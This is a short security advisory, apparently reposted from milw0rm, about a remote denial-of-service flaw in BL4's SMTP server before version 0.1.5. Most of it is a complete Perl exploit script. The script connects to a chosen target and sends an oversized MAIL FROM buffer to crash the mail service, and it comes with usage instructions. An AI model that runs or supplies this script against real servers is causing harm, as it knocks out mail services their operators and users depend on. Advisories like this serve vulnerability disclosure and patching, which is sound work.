[UNIX] BL4 SMTP Server DoS (Exploit)

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  BL4 SMTP Server DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://bl4qkubartnndfhr.emmeya.com/prog/smtp?0> BL4's SMTP server is an 
inbound and outbound SMTP server.

A vulnerability in BL4's SMTP server causes a DoS attack.

DETAILS

Vulnerable Systems:
 * BL4 SMTP server versions prior to 0.1.5.

Immune Systems:
 * BL4 SMTP server version 0.1.5.

Exploit:
#!/usr/bin/perl

use IO::Socket;
use Socket;

my($socket) = "";


if($#ARGV < 1 | $#ARGV > 2) {usage()}

if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n";


        print " -- Connecting To SMTP server at $adr port $prt ... \n";

        sleep(1);

        print $socket "EHLO yahoo.com\r\n" and print " -- Sending Request 
to $adr .....\n" or die "Error : can't send Request\n";

        sleep(1);

        print $socket "MAIL FROM:" . "jessy" x 4600 . "\r\n" and print " 
-- Sending Buffer to $adr .....\n";

        sleep(1);
        printf("[+]Ok!\n");
        printf("[+]Crash service.....\n");
        printf("[~]Done.\n");

        close($socket);

sub usage()
 {
 print "\n=========================================\r\n";
 print "     BL4's SMTP server Remote DOS \r\n";
 print "=========================================\r\n";
 print "       Bug Found by Dedi Dwianto \r\n";
 print "    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "      Echo Security Research Group \r\n";
 print "=========================================\r\n";
 print " Usage: perl bl4-explo.pl [target] [port] \r\n\n";
 exit();
 }


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.milw0rm.com/exploits/1721> 
http://www.milw0rm.com/exploits/1721



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